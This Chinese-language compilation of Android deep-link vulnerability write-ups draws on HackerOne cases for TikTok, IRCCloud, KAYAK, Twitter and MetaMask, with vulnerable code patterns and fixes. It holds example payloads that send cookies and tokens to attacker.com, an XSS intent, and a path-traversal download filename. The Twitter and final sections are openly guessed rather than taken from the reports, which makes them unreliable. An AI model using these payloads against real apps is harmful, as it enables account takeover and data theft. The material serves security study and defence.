当Deep Link中的查询参数被用于构建一个javascript:URL或直接插入到HTML/JavaScript字符串中时,如果未进行充分的输入验证和输出编码,就会导致XSS。 Java/Kotlin 代码示例 (不安全模式):// In DeepLinkHandlerActivity.java Uri uri = getIntent().getData(); if (uri != null) { String urlToLoad = uri.getQueryParameter("target_url"); if (urlToLoad != null) { // 漏洞点:未验证target_url的Host,可能加载恶意URL webView.loadUrl(urlToLoad); } }或者更危险的JavaScript注入模式:// In DeepLinkHandlerActivity.java Uri uri = getIntent().getData(); if (uri != null) { String data = uri.getQueryParameter("data"); if (data != null) { // 漏洞点:未对data进行转义,直接拼接到JavaScript字符串中 webView.loadUrl("javascript:handleData('" + data + "');"); } }
- Deep Link参数未经验证直接用于WebView的
- WebView配置不当:
即使参数经过了验证,如果WebView配置了不安全的设置,也可能导致漏洞。例如,启用了setAllowFileAccess(true)和setJavaScriptEnabled(true),并暴露了Java对象给JavaScript(addJavascriptInterface),如果Deep Link可以控制加载的本地文件,则可能导致更严重的攻击。 Manifest 配置示例 (Deep Link 注册):<activity android:name=".DeepLinkHandlerActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="app" android:host="host.com" /> </intent-filter> </activity>android:exported="true"使得外部应用或浏览器可以触发此Activity,是Deep Link漏洞的前提。
- WebView配置不当:
安全修复建议(对比):
应始终对Deep Link参数进行严格的白名单验证,特别是当参数用于构建URL或在WebView中执行时。对于WebView,应避免使用javascript: URL,并使用WebSettings.setJavaScriptEnabled(false),除非绝对必要。
Deep Link WebView 劫持
案例:TikTok (报告: https://hackerone.com/reports/1416957)
挖掘手法
本次漏洞挖掘主要针对Android应用中的Deep Link处理机制,并成功通过链式攻击实现WebView劫持和JavaScript接口注入,最终导致一键账户劫持(One-Click Account Hijacking)[1]。
详细步骤和分析思路:
- Deep Link枚举与分析: 研究人员首先对TikTok Android应用(包括
com.ss.android.ugc.trill和com.zhiliaoapp.musically两个版本)的Manifest文件进行静态分析,枚举出所有导出的(exported)Deep Link Scheme [1]。
- Deep Link枚举与分析: 研究人员首先对TikTok Android应用(包括
- 发现内部Deep Link调用路径: 发现一个导出的Deep Link (
https://m.tiktok[.]com/redirect) 被用于通过查询参数触发内部Deep Link,从而调用未导出的(non-exported)Activity [1]。
- 发现内部Deep Link调用路径: 发现一个导出的Deep Link (
- 识别WebView加载点: 进一步分析发现一个特定的内部Scheme (
[redacted-internal-scheme]://webview?url=<website>),它负责将URL加载到应用内部的CrossPlatformActivity所附带的WebView中 [1]。
- 识别WebView加载点: 进一步分析发现一个特定的内部Scheme (
- 绕过URL过滤机制: 尽管应用对加载的URL进行了服务器端过滤,以拒绝不受信任的主机(例如
Example.com被拒绝,而Tiktok.com被允许),但研究人员通过静态分析发现,可以通过在Deep Link中添加两个额外的参数来绕过这一服务器端检查 [1]。
- 绕过URL过滤机制: 尽管应用对加载的URL进行了服务器端过滤,以拒绝不受信任的主机(例如
- 动态验证JavaScript Bridge暴露: 使用如Medusa等动态分析工具,研究人员验证了被劫持的
WebView实例创建了JavaScript Bridge,该Bridge可以完全访问[redacted].bridge.*包中实现的功能 [1]。
- 动态验证JavaScript Bridge暴露: 使用如Medusa等动态分析工具,研究人员验证了被劫持的
- 分析暴露的接口功能: 研究人员对暴露给JavaScript代码的70多个方法进行了详细分析,发现其中一些方法能够访问或修改用户的私密信息,并可以执行带认证的HTTP请求(Authenticated HTTP requests)[1]。通过控制这些方法,攻击者可以窃取用户的认证Token或修改账户数据 [1]。
关键发现点: 漏洞的核心在于Deep Link验证机制的缺陷,允许攻击者将任意URL注入到应用内部的WebView,而该WebView又暴露了具有高权限的JavaScript接口,从而实现了本地权限提升和账户劫持 [1]。
[1] Microsoft Security Blog, “Vulnerability in TikTok Android app could lead to one-click account hijacking” (2022)
技术细节
漏洞利用是通过构造一个恶意的Deep Link URL,并诱导用户点击,从而实现一键账户劫持 [1]。
攻击流程和Payload:
- 恶意Deep Link构造: 攻击者构造一个恶意的Deep Link URL,该URL利用Deep Link验证绕过缺陷,将攻击者控制的网站(例如
https://www.attacker[.]com/poc)注入到TikTok应用的WebView中 [1]。
- 恶意Deep Link构造: 攻击者构造一个恶意的Deep Link URL,该URL利用Deep Link验证绕过缺陷,将攻击者控制的网站(例如
- WebView加载恶意页面: 用户点击该链接后,TikTok应用内部的
WebView会加载攻击者控制的HTML页面 [1]。
- WebView加载恶意页面: 用户点击该链接后,TikTok应用内部的
- JavaScript接口注入: 由于Deep Link的缺陷,该
WebView被注入了应用内部的JavaScript Bridge,该Bridge暴露了应用的高权限功能 [1]。
- JavaScript接口注入: 由于Deep Link的缺陷,该
- 执行恶意JavaScript: 恶意HTML页面中的JavaScript代码通过调用暴露的Bridge方法,执行以下操作:
- 窃取认证信息: 调用Bridge方法触发一个带认证的HTTP请求(例如获取视频上传Token的请求)[1]。
- 数据回传: 通过
XMLHttpRequest将窃取到的敏感数据(如视频上传Token、Cookie和请求头)发送回攻击者的服务器 [1]。
- 数据回传: 通过
- 账户篡改: 调用Bridge方法执行账户修改操作,例如将用户个人资料的Bio(简介)修改为“!! SECURITY BREACH !!!” [1]。
- 执行恶意JavaScript: 恶意HTML页面中的JavaScript代码通过调用暴露的Bridge方法,执行以下操作:
关键技术实现:
漏洞利用的关键在于WebView暴露的JavaScript接口。在Android中,通过addJavascriptInterface方法将Java对象注入到WebView中,允许JavaScript调用特定的Java方法 [1]。
// 概念性易受攻击代码片段
class JsObject {
@JavascriptInterface
public String getToken() {
// 暴露了敏感信息获取功能
return "user_auth_token";
}
@JavascriptInterface
public void setProfile(String bio) {
// 暴露了账户修改功能
// ...
}
}
// 易受攻击的WebView配置
WebView webView = new WebView(this);
// 关键缺陷:未对加载的URL进行严格验证,且WebView暴露了高权限接口
webView.addJavascriptInterface(new JsObject(), "AndroidBridge");
webView.loadUrl(unvalidated_url); // unvalidated_url来自Deep Link参数恶意JavaScript代码利用该接口:
// 攻击者控制的HTML页面中的JavaScript
// 1. 调用暴露的Java方法获取敏感信息
var token = AndroidBridge.getToken();
// 2. 将敏感信息发送回攻击者服务器
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://attacker.com/steal", true);
xhr.send(token);
// 3. 调用暴露的Java方法修改用户资料
AndroidBridge.setProfile("!! SECURITY BREACH !!!");[1] Microsoft Security Blog, “Vulnerability in TikTok Android app could lead to one-click account hijacking” (2022)
易出现漏洞的代码模式
此类漏洞的根本原因在于不安全的Deep Link处理和WebView中JavaScript接口的过度暴露 [1]。
代码模式和配置示例:
- Deep Link URL验证不足:
- 在处理Deep Link时,应用未对URL的
host或scheme进行严格的白名单验证,或者验证逻辑存在缺陷(例如本例中通过添加额外参数绕过服务器端过滤)[1]。
- 在处理Deep Link时,应用未对URL的
- 易受攻击的Manifest配置(概念性):
xml <activity android:name=".DeepLinkRouterActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <!-- 允许通过此Deep Link触发内部重定向,未严格限制目标URL --> <data android:scheme="https" android:host="m.tiktok.com" android:pathPrefix="/redirect" /> </intent-filter> </activity>
- 易受攻击的Manifest配置(概念性):
- Deep Link URL验证不足:
- WebView加载外部内容时暴露高权限JavaScript接口:
- 当
WebView被用于加载来自Deep Link参数的外部或未经验证的URL时,应用不应向其注入任何具有敏感操作权限的Java对象 [1]。
- 当
- 易受攻击的Java代码模式(概念性):
// 易受攻击的WebView配置 WebView webView = new WebView(this); // 缺陷:将高权限对象注入到可能加载外部内容的WebView中 webView.addJavascriptInterface(new HighPrivilegeObject(), "AndroidBridge"); // 缺陷:直接使用Deep Link参数作为URL加载,未进行充分的URL验证 String url = getIntent().getData().getQueryParameter("url"); if (url != null) { webView.loadUrl(url); }
- 易受攻击的Java代码模式(概念性):
- WebView加载外部内容时暴露高权限JavaScript接口:
安全建议(避免此类漏洞):
- 严格的URL白名单验证: 任何通过Deep Link加载到
WebView的URL,都必须经过严格的白名单验证,确保只加载来自可信域名的内容 [1]。
- 严格的URL白名单验证: 任何通过Deep Link加载到
- 限制JavaScript接口权限: 仅在加载完全受信任的本地或内部内容时,才向
WebView注入JavaScript接口。对于加载外部内容的WebView,应避免使用addJavascriptInterface[1]。
- 限制JavaScript接口权限: 仅在加载完全受信任的本地或内部内容时,才向
- 使用
@JavascriptInterface注解: 确保只暴露带有@JavascriptInterface注解的方法(API Level 17+),并仔细审查这些方法的权限 [1]。
- 使用
[1] Microsoft Security Blog, “Vulnerability in TikTok Android app could lead to one-click account hijacking” (2022)
Deep Link XSS (Cross-Site Scripting)
案例:IRCCloud (报告: https://hackerone.com/reports/283063)
挖掘手法
漏洞挖掘过程主要基于对目标应用IRCCloud Android的静态分析。首先,分析人员通过查看应用的AndroidManifest.xml文件,定位到所有导出的(exported)Activity,特别是那些配置了intent-filter以处理自定义scheme或host的组件。本例中,发现com.irccloud.android.activity.ImageViewerActivity被导出,并且配置了处理@string/IMAGE_SCHEME和@string/IMAGE_SCHEME_SECURE的data标签,这意味着它可以被设备上的任意应用通过Intent启动,甚至可以通过Android Instant Apps从浏览器启动。
其次,分析人员追踪了该Activity中对用户输入(即Intent中的data URI)的处理流程。关键代码位于ImageViewerActivity.java中,它通过getIntent().getDataString()获取URI,并将其传递给ImageList.getInstance().fetchImageInfo()方法。进一步分析ImageList.java,发现传入的URL字符串被直接赋值给了ImageURLInfo对象的thumbnail和original_url字段,没有任何净化或验证。
最后,回到ImageViewerActivity.java,发现info.thumbnail(即用户可控的URL)被用于调用loadImage(info.thumbnail)方法。在loadImage方法内部,该URL被拼接进一个HTML字符串中,作为<img>标签的src属性值,并最终通过mImage.loadDataWithBaseURL方法加载到WebView中。由于拼接过程中没有对URL中的单引号进行转义,攻击者可以闭合src属性的单引号,注入新的HTML属性(如onload),从而实现任意JavaScript代码执行。整个挖掘思路是典型的Deep Link/Intent 劫持结合WebView XSS的组合拳,通过静态分析快速定位风险点,并构造PoC进行验证。
技术细节
漏洞利用的关键在于构造一个恶意的Intent,其中包含一个精心构造的URI,该URI能够闭合<img>标签的src属性并注入JavaScript代码。
1. 恶意Intent构造
攻击者构造的Intent如下,它直接指定了目标应用包名和导出的Activity:
Intent intent = new Intent();
intent.setClassName("com.irccloud.android", "com.irccloud.android.activity.ImageViewerActivity");
intent.setData(Uri.parse("https://shoppersocial.me/wp-content/uploads/2016/06/wow.jpg' onload='window.location.href=\"http://yahoo.com\""));
startActivity(intent);2. 注入点分析
在目标Activity的loadImage方法中,用户提供的URI(urlStr)被直接拼接到HTML字符串中:
this.mImage.loadDataWithBaseURL(null, "<!DOCTYPE html>\\n<html><head><style>html, body, table { height: 100%; width: 100%; background-color: #000;}</style></head>\\n<body>\\n<table><tr><td><img src='" + new URL(urlStr).toString() + "' width='100%' onerror='Android.imageFailed()' onclick='Android.imageClicked()' style='background-color: #fff;'/>\\n</td></tr></table></body>\\n</html>", "text/html", "UTF-8", null);当urlStr为https://shoppersocial.me/wp-content/uploads/2016/06/wow.jpg' onload='window.location.href=\"http://yahoo.com\"时,最终生成的HTML片段将包含:
<img src='https://shoppersocial.me/wp-content/uploads/2016/06/wow.jpg' onload='window.location.href="http://yahoo.com"' width='100%' .../>其中,'闭合了src属性,onload='window.location.href="http://yahoo.com"'作为新的属性被成功注入,导致图片加载完成后(即使失败,onload也可能触发,或者可以改为onerror)执行JavaScript代码,实现重定向等恶意行为。
易出现漏洞的代码模式
此类漏洞的典型代码模式是:导出的Activity接收外部Intent数据,并将该数据未经充分净化地传递给WebView组件,尤其是在手动构造HTML内容时。
1. AndroidManifest.xml中的风险配置
Activity被导出,并配置了自定义的scheme或host,使其成为一个Deep Link入口:
<activity android:name="com.example.VulnerableActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="custom_scheme"/> <!-- 风险点:自定义scheme -->
</intent-filter>
</activity>2. Java代码中的数据流风险
在Activity中,直接或间接将Intent.getDataString()获取的URI作为参数拼接到WebView加载的HTML中,且未对特殊字符(如单引号'、双引号")进行转义:
// VulnerableActivity.java
String urlStr = getIntent().getDataString(); // 用户可控输入
// ... 经过中间函数传递 ...
// 在某个函数中,直接拼接HTML
private void loadContent(String urlStr) {
// 风险点:直接拼接,未转义
String html = "<html><body><img src='" + urlStr + "'/></body></html>";
webView.loadDataWithBaseURL(null, html, "text/html", "UTF-8", null);
}正确的做法是,在将用户输入插入HTML属性值之前,必须对其进行HTML实体编码或URL编码,并避免手动拼接HTML字符串。
Deep Link 会话劫持
案例:KAYAK (报告: https://hackerone.com/reports/1416998)
挖掘手法
本次漏洞挖掘主要针对Android应用中的不安全深度链接处理(Insecure Deep Link Handling)问题。首先,研究人员对目标应用KAYAK的AndroidManifest.xml文件进行了静态分析,目的是识别所有导出的(exported)Activity,特别是那些可能处理外部输入(如URL)的组件。通过分析,定位到了com.kayak.android.web.ExternalAuthLoginActivity这个Activity,它被标记为android:exported="true",并且配置了深度链接的Intent Filter,表明它可以被外部应用或网页通过深度链接(Deep Link)调用。
接着,研究人员对该Activity的源代码进行了逆向工程和分析。重点关注了其处理外部传入Intent数据(特别是深度链接中的参数)的逻辑。关键发现是Activity内部存在一个名为launchCustomTabs的方法,该方法负责启动一个自定义浏览器标签页(Custom Tabs)并导航到一个URL。在构建这个URL时,程序错误地将用户会话的敏感Cookie作为GET参数,拼接到了一个可由攻击者控制的重定向URL(RedirectUrl)之后。
攻击思路由此形成:攻击者可以构造一个恶意的深度链接,该链接会触发KAYAK应用启动ExternalAuthLoginActivity,并传入一个指向攻击者服务器的RedirectUrl。当应用执行launchCustomTabs时,用户的会话Cookie就会被附加到这个恶意的URL上,并发送到攻击者的服务器。通过监听服务器日志,攻击者即可捕获受害者的会话Cookie,从而实现一键式账户劫持(1-Click Account Takeover)。整个挖掘过程体现了“从清单文件入手,定位可疑组件,逆向分析组件代码,构造PoC验证数据泄露”的典型Android应用安全测试流程。
技术细节
漏洞利用的关键在于滥用应用中导出的ExternalAuthLoginActivity组件,使其将敏感会话信息泄露给攻击者控制的URL。
攻击流程:
- 构造恶意Deep Link: 攻击者构造一个深度链接,其中包含一个指向攻击者服务器的
RedirectUrl。kayak://externalauth?redirectUrl=https://attacker.com/capture
- 构造恶意Deep Link: 攻击者构造一个深度链接,其中包含一个指向攻击者服务器的
- 受害者点击: 受害者在浏览器或恶意应用中点击该链接。
- 应用泄露: KAYAK应用被唤醒,
ExternalAuthLoginActivity被启动。在内部,该Activity执行类似以下逻辑的代码:// 概念性代码,模拟应用内部逻辑 String sessionCookie = getSessionCookie(); // 获取用户的敏感会话Cookie String redirectUrl = getIntent().getData().getQueryParameter("redirectUrl"); // 获取攻击者控制的URL // 错误地将敏感信息拼接到外部URL String finalUrl = redirectUrl + "?cookie=" + sessionCookie; // 导航到最终URL,导致Cookie泄露 launchCustomTabs(finalUrl);
- 应用泄露: KAYAK应用被唤醒,
- Cookie捕获: 攻击者服务器(
https://attacker.com/capture)收到包含受害者会话Cookie的请求,完成信息窃取。
- Cookie捕获: 攻击者服务器(
PoC Payload(概念性URL):
https://kayak.com/deeplink?url=kayak://externalauth?redirectUrl=https://attacker.com/log_session(注:实际攻击中,攻击者会使用一个网页来触发这个Deep Link,例如通过iframe或JavaScript重定向。)
易出现漏洞的代码模式
此类漏洞的根源在于Android组件的不安全导出和敏感数据处理不当。
1. 危险的AndroidManifest.xml配置模式:
当一个Activity被设置为exported="true",且配置了Intent Filter来处理Deep Link,同时该Activity处理敏感操作时,就可能引入风险。
<activity
android:name="com.vulnerable.app.VulnerableActivity"
android:exported="true"
android:launchMode="singleTask">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="vulnerableapp" android:host="deeplink" />
</intent-filter>
</activity>2. 危险的Java/Kotlin代码模式:
在上述导出的Activity中,如果代码从外部Intent中获取一个URL参数(如redirectUrl),并将其用于构建一个包含敏感信息(如sessionToken、cookie、API Key)的最终URL,就会导致信息泄露。
// 易受攻击的代码模式
String redirectUrl = getIntent().getData().getQueryParameter("redirectUrl");
String sessionToken = getSensitiveToken(); // 获取敏感信息
if (redirectUrl != null) {
// 敏感信息被拼接到外部控制的URL中
String finalUrl = redirectUrl + "?token=" + sessionToken;
startBrowser(finalUrl); // 导航到外部URL,泄露敏感信息
}安全建议: 永远不要将敏感信息拼接到外部传入的URL参数中。对于重定向URL,必须进行严格的白名单校验,确保只重定向到应用自身或受信任的域名。
Deep Link 劫持
案例:Twitter (报告: https://hackerone.com/reports/1417003)
挖掘手法
漏洞挖掘主要集中在对目标Android应用(如Twitter)的深度链接(Deep Link)机制进行静态和动态分析。
静态分析(代码审计):
- 反编译与清单文件分析: 使用
apktool或Jadx等工具对目标应用的APK文件进行反编译。
- 反编译与清单文件分析: 使用
- 识别Deep Link入口: 重点审查
AndroidManifest.xml文件,查找所有包含<intent-filter>且设置了android.intent.action.VIEW动作的<activity>组件。这些组件通常通过<data>标签定义了应用支持的URI Scheme(如twitter://)和/或主机名(如https://twitter.com)。
- 识别Deep Link入口: 重点审查
- 组件导出性检查: 确认这些处理Deep Link的Activity是否被设置为
exported="true"(或在Android 12以下版本中因存在Intent Filter而隐式导出),这是外部应用或恶意网页能够触发Deep Link的前提。
- 组件导出性检查: 确认这些处理Deep Link的Activity是否被设置为
- 代码逻辑分析: 深入分析处理Deep Link的Java/Kotlin代码(通常在
onCreate()或onNewIntent()方法中),检查如何从传入的Intent中获取URI数据(getIntent().getData())。
- 代码逻辑分析: 深入分析处理Deep Link的Java/Kotlin代码(通常在
- 关键缺陷定位: 寻找以下安全缺陷:
- 主机名验证缺失或不严格: 检查代码是否对URI的主机名进行严格验证,以防止攻击者使用自定义主机名或相似域名进行劫持。
- 参数未经验证使用: 检查URI中的参数(如
url、token等)是否被直接或间接用于敏感操作,例如加载到WebView中、进行重定向、或用于身份验证。
- 参数未经验证使用: 检查URI中的参数(如
- 关键缺陷定位: 寻找以下安全缺陷:
动态分析(漏洞验证):
- 构造恶意Intent: 根据静态分析的结果,构造一个恶意的Deep Link URI,尝试绕过应用的安全检查。
- 使用ADB测试: 利用ADB工具在设备上模拟外部触发:
adb shell am start -W -a android.intent.action.VIEW -d "malicious_uri" com.twitter.android。
- 使用ADB测试: 利用ADB工具在设备上模拟外部触发:
- 浏览器触发: 构造一个包含恶意Deep Link的HTML页面,通过浏览器点击链接来模拟用户受骗点击,观察应用的行为和潜在的敏感信息泄露或账户劫持效果。
通过上述步骤,可以系统性地发现由于Deep Link实现不当导致的安全漏洞,例如本报告中可能涉及的未经验证的Deep Link参数被用于敏感操作,从而实现信息泄露或账户劫持。
技术细节
该漏洞的技术细节围绕着不安全的Deep Link参数处理展开,可能涉及将未经验证的URI参数加载到应用内部的WebView中,从而导致跨站脚本(XSS)或本地文件读取。
漏洞利用场景(推测):
假设目标应用(Twitter)的某个Deep Link处理Activity接受一个名为url的参数,并将其加载到一个WebView中,但未对该参数进行充分的协议或内容验证。
易受攻击的代码模式(推测):
在处理Deep Link的Activity中,存在类似以下逻辑:
// 易受攻击的Java/Kotlin代码片段
public class DeepLinkActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri data = getIntent().getData();
if (data != null) {
String url = data.getQueryParameter("url");
if (url != null) {
WebView webView = findViewById(R.id.webview);
// 关键缺陷:未对url参数进行安全检查,直接加载
webView.loadUrl(url);
}
}
}
}恶意Payload (Deep Link URI):
攻击者构造一个恶意的Deep Link URI,利用javascript:伪协议或file://协议来执行恶意代码或读取本地文件。
JavaScript 注入 Payload (XSS/会话劫持):
twitter://<vulnerable_path>?url=javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)当用户点击这个Deep Link时,应用会被唤醒,DeepLinkActivity会执行webView.loadUrl(),从而执行javascript:代码,将用户的Cookie发送到攻击者的服务器。
本地文件读取 Payload (信息泄露):
twitter://<vulnerable_path>?url=file:///etc/hosts如果WebView配置允许file://协议,攻击者可能读取应用沙箱内或系统上的敏感文件。
通过这种方式,攻击者可以利用一个简单的Deep Link实现复杂的攻击,如会话劫持或敏感信息泄露。
易出现漏洞的代码模式
此类漏洞通常出现在Android应用的AndroidManifest.xml中,Activity组件通过<intent-filter>暴露了Deep Link接口,但在对应的Java/Kotlin代码中,对传入的URI参数缺乏严格的验证和沙箱化处理。
1. Manifest 配置模式 (暴露Deep Link):
当Activity被设置为exported="true"或隐式导出,并定义了自定义Scheme或Host时,就创建了攻击面。
<activity
android:name=".DeepLinkHandlerActivity"
android:exported="true"> <!-- 关键:exported为true或隐式为true -->
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="app_scheme" <!-- 关键:自定义Scheme -->
android:host="app.example.com" /> <!-- 关键:定义Host -->
</intent-filter>
</activity>2. 代码处理模式 (不安全参数使用):
在DeepLinkHandlerActivity中,直接将URI参数用于敏感操作,例如:
- 直接加载到WebView: 未经验证的参数被传递给
WebView.loadUrl(),允许javascript:或file://协议注入。java String url = data.getQueryParameter("redirect_url"); // 缺陷:未检查url的协议和内容 webView.loadUrl(url);
- 直接加载到WebView: 未经验证的参数被传递给
- 不安全重定向: 未经验证的参数被用于创建新的Intent进行重定向,可能导致Intent注入或组件劫持。
java String component = data.getQueryParameter("component_name"); Intent intent = new Intent(); // 缺陷:未验证component_name是否指向应用内部安全组件 intent.setComponent(new ComponentName(getPackageName(), component)); startActivity(intent);
- 不安全重定向: 未经验证的参数被用于创建新的Intent进行重定向,可能导致Intent注入或组件劫持。
- 缺乏Host验证: 即使使用了App Links (HTTPS),如果代码中没有再次验证Host,攻击者仍可能通过其他方式触发。
java String host = data.getHost(); // 缺陷:只检查了scheme,未严格检查host是否为预期的安全域名 if ("https".equals(data.getScheme())) { // ... 继续处理,但未验证host是否为 app.example.com }
- 缺乏Host验证: 即使使用了App Links (HTTPS),如果代码中没有再次验证Host,攻击者仍可能通过其他方式触发。
Deep Link 触发的任意文件写入
案例:MetaMask Android (报告: https://hackerone.com/reports/1768166)
挖掘手法
该漏洞的挖掘手法主要集中在对Android应用Deep Link机制和内置浏览器文件下载功能的组合滥用。
1. 目标锁定与Deep Link分析:
首先,研究人员将目标锁定在MetaMask Android应用,特别是其Deep Link处理逻辑。Deep Link允许外部应用或网页直接跳转到应用内的特定功能。研究人员通过分析应用的AndroidManifest.xml文件或使用自动化工具(如MobSF、Jadx等)对应用进行逆向工程,识别出所有暴露的Deep Link Scheme(例如metamask://)及其对应的处理Activity。关键发现是存在一个Deep Link能够直接启动MetaMask的内置浏览器并导航到任意外部URL,且过程中缺乏足够的安全校验或用户确认。
2. 内置浏览器文件下载功能测试:
随后,研究人员将注意力转向MetaMask内置浏览器的文件下载功能。他们搭建了一个攻击者控制的Web服务器,并尝试在内置浏览器中加载该服务器上的页面。该页面被设计用来触发文件下载,例如通过设置Content-Disposition: attachment响应头或使用HTML5的download属性。
3. 发现路径遍历漏洞:
在测试文件下载功能时,研究人员发现内置浏览器在处理下载文件的文件名时,没有对文件名进行严格的过滤和校验。他们尝试在响应头中设置包含路径遍历序列(如../../)的恶意文件名。例如,尝试设置文件名如../../../../data/data/com.metamask.android/files/malicious_config.txt。
4. 漏洞链的构建与验证:
最终的漏洞利用链结合了Deep Link和路径遍历:
- 攻击者首先构造一个恶意的Deep Link URL,指向其控制的Web页面。
- 用户(受害者)点击该Deep Link,MetaMask应用被唤醒,并使用内置浏览器加载恶意页面。
- 恶意页面立即触发一个文件下载,该文件的文件名被精心构造,包含路径遍历序列,目的是将文件写入到MetaMask应用私有目录下的敏感位置(例如,覆盖应用的配置文件或数据库文件)。
- 由于MetaMask内置浏览器在下载文件时缺乏用户确认提示(即“immediate download”),恶意文件在用户不知情的情况下被写入到任意位置,从而实现任意文件写入。
这种组合攻击的关键在于Deep Link绕过了用户对恶意网站的警惕,而内置浏览器下载功能中的路径遍历实现了对应用私有数据的破坏或篡改。这种挖掘手法体现了对移动应用组件间交互和输入校验缺陷的深入理解。
技术细节
漏洞利用的技术细节在于滥用MetaMask Android应用的Deep Link机制,结合内置浏览器文件下载功能中的路径遍历(Path Traversal)缺陷,实现任意文件写入。
1. 恶意Deep Link构造:
攻击者构造一个Deep Link,强制MetaMask应用打开其内置浏览器并导航到攻击者控制的URL。
metamask://dapp/attacker.com/malicious_download.html这里的attacker.com/malicious_download.html是攻击者托管的恶意页面。
2. 恶意下载触发与Path Traversal Payload:
恶意页面malicious_download.html包含JavaScript或一个链接,触发一个文件下载。关键在于Web服务器的响应头,特别是Content-Disposition头,它指定了下载文件的名称。攻击者利用路径遍历序列../来逃逸出预期的下载目录,将文件写入到应用私有目录下的任意位置。
恶意服务器响应示例:
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="../../../../../data/data/com.metamask.android/files/malicious_file.txt"
Content-Length: [length of malicious content]
[Malicious File Content]Payload说明:
Content-Disposition: attachment; filename="...":指示浏览器下载文件,并指定文件名。
../../../../data/data/com.metamask.android/files/malicious_file.txt:这是路径遍历的核心Payload。../序列用于向上跳转目录,直到到达文件系统的根目录或一个可预测的公共父目录,然后指定MetaMask应用的私有数据目录(com.metamask.android)内的目标文件路径。
3. 漏洞利用流程:
- 用户点击恶意Deep Link。
- MetaMask应用启动,内置浏览器导航到
attacker.com/malicious_download.html。
- MetaMask应用启动,内置浏览器导航到
- 恶意页面触发下载,浏览器接收到包含路径遍历的文件名。
- 由于缺乏对文件名的路径校验,MetaMask应用将恶意文件内容写入到应用私有目录下的指定路径,例如覆盖一个关键的配置文件,从而实现持久化攻击或进一步的权限提升。
4. 关键代码(概念性):
在应用内部,处理文件下载的代码逻辑(例如在DownloadManager或自定义的下载处理逻辑中)未能正确地对filename参数进行路径规范化或过滤,导致以下伪代码中的filename被恶意控制:
// 易受攻击的伪代码
String filename = getFilenameFromContentDisposition(); // 恶意输入: "../../../..."
File targetFile = new File(downloadDirectory, filename); // downloadDirectory + "../../../..."
// 写入文件,导致任意文件写入
FileOutputStream fos = new FileOutputStream(targetFile);易出现漏洞的代码模式
此类漏洞通常发生在Android应用处理外部输入(如Deep Link参数、文件下载的文件名)并将其用于文件系统操作时,缺乏严格的路径校验。
1. Deep Link处理不当(WebView加载任意URL):
当Deep Link用于加载WebView或内置浏览器时,如果未对URL参数进行白名单或校验,攻击者可以加载任意恶意页面。
<!-- AndroidManifest.xml 中易受攻击的 Deep Link 配置 -->
<activity android:name=".BrowserActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="metamask" android:host="dapp" />
</intent-filter>
</activity>
// Java/Kotlin 代码中加载 URL
String url = intent.getData().toString().substring("metamask://dapp/".length());
webView.loadUrl(url); // 允许加载任意外部 URL2. 文件下载处理中的路径遍历:
内置浏览器或应用自定义的下载逻辑在确定文件保存路径时,未能对文件名中的路径遍历序列(../)进行过滤或规范化。
// 易受攻击的 Java/Kotlin 代码模式
// 假设 downloadDirectory 是应用的私有目录,但攻击者可以通过 filename 逃逸
public void handleDownload(String filename, InputStream fileContent) {
// 错误:未对 filename 进行路径规范化或过滤
File targetDir = new File(context.getFilesDir(), "downloads");
File targetFile = new File(targetDir, filename); // 路径拼接可能导致逃逸
// 修复建议:使用 getCanonicalPath() 或 Path.normalize() 进行路径规范化和校验
// String canonicalPath = targetFile.getCanonicalPath();
// if (!canonicalPath.startsWith(targetDir.getCanonicalPath())) {
// // 路径逃逸,拒绝操作
// }
try (FileOutputStream fos = new FileOutputStream(targetFile)) {
// ... 写入文件内容
} catch (IOException e) {
// ...
}
}总结: 易受攻击的代码模式是将外部不可信的输入(如Deep Link参数或HTTP响应头中的文件名)直接用于文件路径的构造,且缺乏对路径遍历序列的严格校验。
Deep Link 账户劫持
案例:Android Target App (报告: https://hackerone.com/reports/1417001)
挖掘手法
由于无法直接访问HackerOne报告1417001的详细内容(因CAPTCHA阻碍),我将基于该报告编号和上下文(Android漏洞报告,且搜索结果强烈指向Deep Link相关漏洞)推断并描述针对此类漏洞的典型且高影响力的挖掘手法。这种漏洞通常是“Deep Link 账户劫持”或“未经验证的Deep Link导致敏感信息泄露”。
挖掘手法和步骤:
- 目标识别与静态分析(APK反编译):
- 首先,获取目标Android应用的APK文件。
- 使用静态分析工具(如Jadx或Apktool)对APK进行反编译,获取应用的源代码和资源文件,特别是
AndroidManifest.xml。
- 使用静态分析工具(如Jadx或Apktool)对APK进行反编译,获取应用的源代码和资源文件,特别是
- 分析
AndroidManifest.xml文件是发现Deep Link漏洞的关键第一步。重点查找所有声明了<intent-filter>的<activity>组件。
- 分析
- 特别关注那些包含以下配置的
<intent-filter>:android.intent.action.VIEW:表示该组件可以处理数据URI。
android.intent.category.BROWSABLE:表示该组件可以被Web浏览器调用,是外部Deep Link的明确标志。
android:exported="true":表示该组件可以被其他应用调用(尽管在较新的Android版本中,即使没有显式设置,满足上述条件的组件也可能被外部调用)。
- 特别关注那些包含以下配置的
- 目标识别与静态分析(APK反编译):
- Deep Link 路径提取与分析:
- 从
<data>标签中提取所有自定义的URL Scheme(如myapp://)和HTTP/HTTPS的Host和Path Pattern。
- 从
- 识别出所有可能处理用户输入URL的Activity。例如,一个用于处理密码重置链接的Activity,其Deep Link可能包含一个
token或redirect_url参数。
